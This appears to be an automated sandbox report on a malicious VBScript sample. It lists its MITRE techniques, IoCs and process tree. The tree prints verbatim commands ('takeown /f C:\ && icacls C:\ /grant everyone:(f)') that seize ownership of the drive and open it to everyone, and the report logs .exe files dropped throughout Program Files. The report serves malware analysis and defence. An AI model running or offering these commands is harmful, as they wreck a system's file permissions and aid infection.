bca0be7848164b3ff7f863edd22fc5ee9f0a0841e2410bf9d735737436cf0e85

Analysis

max time kernel
150s
max time network
94s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02/10/2024, 02:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
code.vbs
Size 932B
Sample241002-chkr4a1hmq
SHA256 bca0be7848164b3ff7f863edd22fc5ee9f0a0841e2410bf9d735737436cf0e85
MD5 b935eb34f52288a044156ae83bad70bc
SHA1 692b3649427cbab62b40fb17282201e1dd7bf432
SHA512 0c88abb5f9192d77a80c3e3544c499fe3895ca924f4d89bf0970a0136adfcac1e0afd6a9734fafcc1824c2139f638b82d49065fcb1551d9adb20d7bda861b066
MD5 SHA1 SHA512

Score

8^/10

discovery exploit

Malware Config

Signatures

Possible privilege escalation attempt 64 IoCs

exploit

pid	Process
3640	Process not Found
3448	Process not Found
3244	Process not Found
4284	Process not Found
4440	Process not Found
1524	Process not Found
3000	Process not Found
3952	Process not Found
3540	Process not Found
4344	Process not Found
4196	takeown.exe
1940	takeown.exe
2376	Process not Found
4944	Process not Found
4228	takeown.exe
2184	takeown.exe
3004	takeown.exe
1416	Process not Found
3996	Process not Found
4932	Process not Found
3056	takeown.exe
3560	takeown.exe
3472	Process not Found
4100	Process not Found
4920	Process not Found
4920	Process not Found
4528	takeown.exe
4920	takeown.exe
2912	takeown.exe
4100	Process not Found
5008	Process not Found
2036	Process not Found
3636	Process not Found
680	Process not Found
3000	Process not Found
1208	Process not Found
3188	Process not Found
744	takeown.exe
2300	takeown.exe
2244	takeown.exe
3140	Process not Found
3524	takeown.exe
3056	takeown.exe
748	Process not Found
4196	Process not Found
424	Process not Found
4552	Process not Found
4724	Process not Found
3244	takeown.exe
4356	takeown.exe
4840	takeown.exe
4776	Process not Found
3000	Process not Found
4324	Process not Found
4228	Process not Found
2684	takeown.exe
3724	takeown.exe
4316	takeown.exe
2312	Process not Found
2036	Process not Found
396	Process not Found
2056	Process not Found
3576	Process not Found
2080	takeown.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	WScript.exe

Modifies file permissions 1 TTPs 64 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1660	takeown.exe
1124	takeown.exe
64	Process not Found
3172	Process not Found
528	takeown.exe
64	takeown.exe
2184	takeown.exe
5008	takeown.exe
1020	Process not Found
3176	Process not Found
224	Process not Found
4880	Process not Found
1236	takeown.exe
3984	Process not Found
764	Process not Found
2084	takeown.exe
1644	takeown.exe
1120	takeown.exe
3456	takeown.exe
3252	Process not Found
2252	Process not Found
2312	Process not Found
1752	takeown.exe
3860	Process not Found
5016	Process not Found
4268	Process not Found
4936	Process not Found
2760	Process not Found
4640	Process not Found
4492	Process not Found
5112	Process not Found
4032	Process not Found
3120	Process not Found
5108	Process not Found
5016	Process not Found
4824	Process not Found
2744	Process not Found
1064	Process not Found
3664	Process not Found
1124	Process not Found
3836	takeown.exe
4832	takeown.exe
4724	Process not Found
4396	takeown.exe
4832	Process not Found
960	Process not Found
4100	Process not Found
4872	Process not Found
1712	Process not Found
1912	Process not Found
4176	takeown.exe
2084	Process not Found
4408	Process not Found
2760	Process not Found
2872	Process not Found
4452	takeown.exe
2252	takeown.exe
4440	Process not Found
2408	Process not Found
4344	Process not Found
4888	Process not Found
3804	Process not Found
2248	Process not Found
908	takeown.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\System.Workflow.Runtime.dll.exe	WScript.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\ja\WindowsFormsIntegration.resources.dll.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_~_8wekyb3d8bbwe\AppxMetadata\AppxBundleManifest.xml.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\contrast-white\OneNotePageSmallTile.scale-125.png.exe	WScript.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\it\System.Data.Entity.Design.Resources.dll.exe	WScript.exe
File created	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Car\LTR\contrast-white\SmallTile.scale-125.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\AppPackageAppList.targetsize-60.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppPackageAppList.targetsize-48_contrast-white.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_x64__8wekyb3d8bbwe\Win10\MicrosoftSolitaireAppList.targetsize-48_altform-unplated_contrast-white_devicefamily-colorfulunplated.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.MixedReality.Portal_2000.19081.1301.0_x64__8wekyb3d8bbwe\Assets\MixedRealityPortalAppList.scale-200.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.MSPaint_6.1907.29027.0_x64__8wekyb3d8bbwe\Assets\Images\Stickers\Thumbnails\Sticker_Icon_Ear.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.People_10.1902.633.0_x64__8wekyb3d8bbwe\Assets\contrast-white\PeopleAppList.targetsize-60_altform-lightunplated.png.exe	WScript.exe
File created	C:\Program Files\Common Files\microsoft shared\ink\zh-TW\tipresx.dll.mui.exe	WScript.exe
File created	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\AppPackageLargeTile.scale-125_contrast-black.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\LockScreenLogo.scale-100.png.exe	WScript.exe
File created	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.mfl.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\AppPackageLargeTile.scale-100.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\OneNoteSectionWideTile.scale-150.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.27629.0_x64__8wekyb3d8bbwe\vccorlib140.dll.exe	WScript.exe
File created	C:\Program Files\Common Files\microsoft shared\ink\mip.exe.exe	WScript.exe
File created	C:\Program Files\Windows Defender\ja-JP\shellext.dll.mui.exe	WScript.exe
File created	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Car\RTL\contrast-white\SmallTile.scale-125.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe\Microsoft.Applications.Telemetry.Windows-net40.dll.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.People_10.1902.633.0_x64__8wekyb3d8bbwe\Assets\contrast-white\PeopleAppList.targetsize-64_altform-lightunplated.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.SkypeApp_14.53.77.0_x64__kzf8qxf38zg5c\Assets\Images\SkypeLargeTile.scale-200.png.exe	WScript.exe
File created	C:\Program Files\Windows Media Player\de-DE\WMPMediaSharing.dll.mui.exe	WScript.exe
File created	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.XboxApp_48.49.31001.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\GamesXboxHubStoreLogo.scale-125.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.549981C3F5F10_1.1911.21713.0_x64__8wekyb3d8bbwe\Assets\Store\StoreLogo.scale-200.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-200_8wekyb3d8bbwe\Win10\MicrosoftSolitaireAppList.scale-200.png.exe	WScript.exe
File created	C:\Program Files\Internet Explorer\ieinstal.exe.exe	WScript.exe
File created	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsCamera_2018.826.98.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\WindowsIcons\WindowsCameraAppList.scale-125.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\offsymsb.ttf.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\OneNoteSectionGroupLargeTile.scale-125.png.exe	WScript.exe
File created	C:\Program Files\Common Files\microsoft shared\ink\de-DE\TabTip.exe.mui.exe	WScript.exe
File created	C:\Program Files\Windows Media Player\Media Renderer\DMR_120.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\AppxManifest.xml.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe\System.IO.Compression.dll.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.MixedReality.Portal_2000.19081.1301.0_x64__8wekyb3d8bbwe\Assets\contrast-black\MixedRealityPortalAppList.targetsize-60_altform-unplated_contrast-black.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.SkypeApp_14.53.77.0_x64__kzf8qxf38zg5c\Assets\Images\SkypeLargeTile.scale-200_contrast-black.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\Shield.targetsize-44.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe\System.Globalization.Extensions.dll.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.MixedReality.Portal_2000.19081.1301.0_x64__8wekyb3d8bbwe\Assets\contrast-black\MixedRealityPortalAppList.targetsize-40_altform-unplated_contrast-black.png.exe	WScript.exe
File created	C:\Program Files\Common Files\microsoft shared\ink\fr-FR\tipresx.dll.mui.exe	WScript.exe
File created	C:\Program Files\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui.exe	WScript.exe
File created	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_14.53.77.0_neutral_split.scale-125_kzf8qxf38zg5c\Assets\Images\SkypeMedTile.scale-125.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\TinyTile.scale-100_contrast-black.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\MedTile.scale-400.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\OneNoteWideTile.scale-200.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.SkypeApp_14.53.77.0_x64__kzf8qxf38zg5c\ReactAssets\assets\RNApp\app\uwp\images\onboarding\contacts_variant2_v3.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Collections\contrast-black\MedTile.scale-125_contrast-black.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.Getstarted_8.2.22942.0_x64__8wekyb3d8bbwe\Assets\GetStartedAppList.targetsize-48_contrast-white.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_3.6.73.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SplashScreen.scale-125.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\contrast-white\MedTile.scale-400_contrast-white.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\OneNoteNotebookSmallTile.scale-125.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\contrast-white\OneNoteSectionGroupLargeTile.scale-100.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\osf\ellipsis_16x16x32.png.exe	WScript.exe
File created	C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVIsvVirtualization.dll.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.BingWeather_4.25.20211.0_x64__8wekyb3d8bbwe\Assets\Attribution\wdt.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.Getstarted_8.2.22942.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\resources.e35cc441.pri.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_6.1908.2042.0_x64__8wekyb3d8bbwe\Assets\Images\thumb_animation.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.MSPaint_6.1907.29027.0_x64__8wekyb3d8bbwe\Assets\Images\Stickers\Thumbnails\Sticker_Icon_NinjaCat.png.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.Services.Store.Engagement_10.0.18101.0_x86__8wekyb3d8bbwe\microsoft.system.package.metadata\Autogen\JSByteCodeCache_32.exe	WScript.exe
File created	C:\Program Files\WindowsApps\Microsoft.MSPaint_6.1907.29027.0_x64__8wekyb3d8bbwe\Assets\Logos\Square44x44\PaintAppList.targetsize-24_altform-unplated.png.exe	WScript.exe
File created	C:\Program Files\Common Files\System\msadc\msdaprst.dll.exe	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1524	Process not Found
4712	Process not Found

System Time Discovery 1 TTPs 8 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
436	Process not Found
444	Process not Found
4888	Process not Found
4076	Process not Found
2268	Process not Found
5076	Process not Found
2504	Process not Found
4324	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4132	WScript.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
4132	WScript.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4132 wrote to memory of 4936	4132	WScript.exe	82
PID 4132 wrote to memory of 4936	4132	WScript.exe	82
PID 4936 wrote to memory of 2624	4936	cmd.exe	84
PID 4936 wrote to memory of 2624	4936	cmd.exe	84
PID 4936 wrote to memory of 3428	4936	cmd.exe	85
PID 4936 wrote to memory of 3428	4936	cmd.exe	85
PID 4132 wrote to memory of 3500	4132	WScript.exe	86
PID 4132 wrote to memory of 3500	4132	WScript.exe	86
PID 3500 wrote to memory of 60	3500	cmd.exe	88
PID 3500 wrote to memory of 60	3500	cmd.exe	88
PID 3500 wrote to memory of 4868	3500	cmd.exe	89
PID 3500 wrote to memory of 4868	3500	cmd.exe	89
PID 4132 wrote to memory of 2552	4132	WScript.exe	90
PID 4132 wrote to memory of 2552	4132	WScript.exe	90
PID 2552 wrote to memory of 1452	2552	cmd.exe	92
PID 2552 wrote to memory of 1452	2552	cmd.exe	92
PID 2552 wrote to memory of 4104	2552	cmd.exe	93
PID 2552 wrote to memory of 4104	2552	cmd.exe	93
PID 4132 wrote to memory of 3528	4132	WScript.exe	94
PID 4132 wrote to memory of 3528	4132	WScript.exe	94
PID 3528 wrote to memory of 4404	3528	cmd.exe	96
PID 3528 wrote to memory of 4404	3528	cmd.exe	96
PID 4132 wrote to memory of 4256	4132	WScript.exe	97
PID 4132 wrote to memory of 4256	4132	WScript.exe	97
PID 4256 wrote to memory of 3476	4256	cmd.exe	99
PID 4256 wrote to memory of 3476	4256	cmd.exe	99
PID 4256 wrote to memory of 2960	4256	cmd.exe	100
PID 4256 wrote to memory of 2960	4256	cmd.exe	100
PID 4132 wrote to memory of 5024	4132	WScript.exe	101
PID 4132 wrote to memory of 5024	4132	WScript.exe	101
PID 5024 wrote to memory of 5008	5024	cmd.exe	103
PID 5024 wrote to memory of 5008	5024	cmd.exe	103
PID 4132 wrote to memory of 512	4132	WScript.exe	104
PID 4132 wrote to memory of 512	4132	WScript.exe	104
PID 512 wrote to memory of 1620	512	cmd.exe	106
PID 512 wrote to memory of 1620	512	cmd.exe	106
PID 4132 wrote to memory of 5096	4132	WScript.exe	107
PID 4132 wrote to memory of 5096	4132	WScript.exe	107
PID 5096 wrote to memory of 2848	5096	cmd.exe	109
PID 5096 wrote to memory of 2848	5096	cmd.exe	109
PID 4132 wrote to memory of 4208	4132	WScript.exe	110
PID 4132 wrote to memory of 4208	4132	WScript.exe	110
PID 4208 wrote to memory of 2984	4208	cmd.exe	112
PID 4208 wrote to memory of 2984	4208	cmd.exe	112
PID 4132 wrote to memory of 864	4132	WScript.exe	113
PID 4132 wrote to memory of 864	4132	WScript.exe	113
PID 864 wrote to memory of 4188	864	cmd.exe	115
PID 864 wrote to memory of 4188	864	cmd.exe	115
PID 4132 wrote to memory of 1512	4132	WScript.exe	116
PID 4132 wrote to memory of 1512	4132	WScript.exe	116
PID 1512 wrote to memory of 4804	1512	cmd.exe	118
PID 1512 wrote to memory of 4804	1512	cmd.exe	118
PID 4132 wrote to memory of 2396	4132	WScript.exe	119
PID 4132 wrote to memory of 2396	4132	WScript.exe	119
PID 2396 wrote to memory of 1228	2396	cmd.exe	121
PID 2396 wrote to memory of 1228	2396	cmd.exe	121
PID 4132 wrote to memory of 2340	4132	WScript.exe	122
PID 4132 wrote to memory of 2340	4132	WScript.exe	122
PID 2340 wrote to memory of 4452	2340	cmd.exe	124
PID 2340 wrote to memory of 4452	2340	cmd.exe	124
PID 4132 wrote to memory of 4372	4132	WScript.exe	125
PID 4132 wrote to memory of 4372	4132	WScript.exe	125
PID 4372 wrote to memory of 3852	4372	cmd.exe	127
PID 4372 wrote to memory of 3852	4372	cmd.exe	127

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\code.vbs"
1⤵
- Checks computer location settings
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: RenamesItself
- Suspicious use of WriteProcessMemory
PID:4132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\ && icacls C:\ /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4936
- - C:\Windows\system32\takeown.exe
    takeown /f C:\
    3⤵
    PID:2624
- - C:\Windows\system32\icacls.exe
    icacls C:\ /grant everyone:(f)
    3⤵
    PID:3428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\$Recycle.Bin && icacls C:\$Recycle.Bin /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3500
- - C:\Windows\system32\takeown.exe
    takeown /f C:\$Recycle.Bin
    3⤵
    PID:60
- - C:\Windows\system32\icacls.exe
    icacls C:\$Recycle.Bin /grant everyone:(f)
    3⤵
    PID:4868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\$Recycle.Bin\S-1-5-21-1194130065-3471212556-1656947724-1000 && icacls C:\$Recycle.Bin\S-1-5-21-1194130065-3471212556-1656947724-1000 /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2552
- - C:\Windows\system32\takeown.exe
    takeown /f C:\$Recycle.Bin\S-1-5-21-1194130065-3471212556-1656947724-1000
    3⤵
    PID:1452
- - C:\Windows\system32\icacls.exe
    icacls C:\$Recycle.Bin\S-1-5-21-1194130065-3471212556-1656947724-1000 /grant everyone:(f)
    3⤵
    PID:4104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Documents and Settings && icacls C:\Documents and Settings /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3528
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Documents and Settings
    3⤵
    PID:4404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\PerfLogs && icacls C:\PerfLogs /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4256
- - C:\Windows\system32\takeown.exe
    takeown /f C:\PerfLogs
    3⤵
    PID:3476
- - C:\Windows\system32\icacls.exe
    icacls C:\PerfLogs /grant everyone:(f)
    3⤵
    PID:2960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files && icacls C:\Program Files /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5024
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files
    3⤵
    PID:5008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\7-Zip && icacls C:\Program Files\7-Zip /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:512
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\7-Zip
    3⤵
    PID:1620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\7-Zip\Lang && icacls C:\Program Files\7-Zip\Lang /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5096
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\7-Zip\Lang
    3⤵
    PID:2848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files && icacls C:\Program Files\Common Files /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4208
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files
    3⤵
    PID:2984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\DESIGNER && icacls C:\Program Files\Common Files\DESIGNER /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:864
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\DESIGNER
    3⤵
    PID:4188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared && icacls C:\Program Files\Common Files\microsoft shared /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1512
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared
    3⤵
    PID:4804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ClickToRun && icacls C:\Program Files\Common Files\microsoft shared\ClickToRun /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2396
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ClickToRun
    3⤵
    PID:1228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink && icacls C:\Program Files\Common Files\microsoft shared\ink /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink
    3⤵
    PID:4452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\ar-SA && icacls C:\Program Files\Common Files\microsoft shared\ink\ar-SA /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4372
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\ar-SA
    3⤵
    PID:3852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\bg-BG && icacls C:\Program Files\Common Files\microsoft shared\ink\bg-BG /grant everyone:(f)
  2⤵
  PID:3384
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\bg-BG
    3⤵
    PID:4356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\cs-CZ && icacls C:\Program Files\Common Files\microsoft shared\ink\cs-CZ /grant everyone:(f)
  2⤵
  PID:4704
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\cs-CZ
    3⤵
    PID:3724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\da-DK && icacls C:\Program Files\Common Files\microsoft shared\ink\da-DK /grant everyone:(f)
  2⤵
  PID:2676
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\da-DK
    3⤵
    PID:3188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\de-DE && icacls C:\Program Files\Common Files\microsoft shared\ink\de-DE /grant everyone:(f)
  2⤵
  PID:3624
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\de-DE
    3⤵
    PID:3524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\el-GR && icacls C:\Program Files\Common Files\microsoft shared\ink\el-GR /grant everyone:(f)
  2⤵
  PID:2356
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\el-GR
    3⤵
    PID:3216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\en-GB && icacls C:\Program Files\Common Files\microsoft shared\ink\en-GB /grant everyone:(f)
  2⤵
  PID:4320
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\en-GB
    3⤵
    PID:2624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\en-US && icacls C:\Program Files\Common Files\microsoft shared\ink\en-US /grant everyone:(f)
  2⤵
  PID:960
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\en-US
    3⤵
    PID:1608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\es-ES && icacls C:\Program Files\Common Files\microsoft shared\ink\es-ES /grant everyone:(f)
  2⤵
  PID:2612
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\es-ES
    3⤵
    PID:3720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\es-MX && icacls C:\Program Files\Common Files\microsoft shared\ink\es-MX /grant everyone:(f)
  2⤵
  PID:4228
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\es-MX
    3⤵
    PID:3528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\et-EE && icacls C:\Program Files\Common Files\microsoft shared\ink\et-EE /grant everyone:(f)
  2⤵
  PID:2276
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\et-EE
    3⤵
    - Possible privilege escalation attempt
    PID:3056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\fi-FI && icacls C:\Program Files\Common Files\microsoft shared\ink\fi-FI /grant everyone:(f)
  2⤵
  PID:2980
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\fi-FI
    3⤵
    PID:2704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\fr-CA && icacls C:\Program Files\Common Files\microsoft shared\ink\fr-CA /grant everyone:(f)
  2⤵
  PID:5028
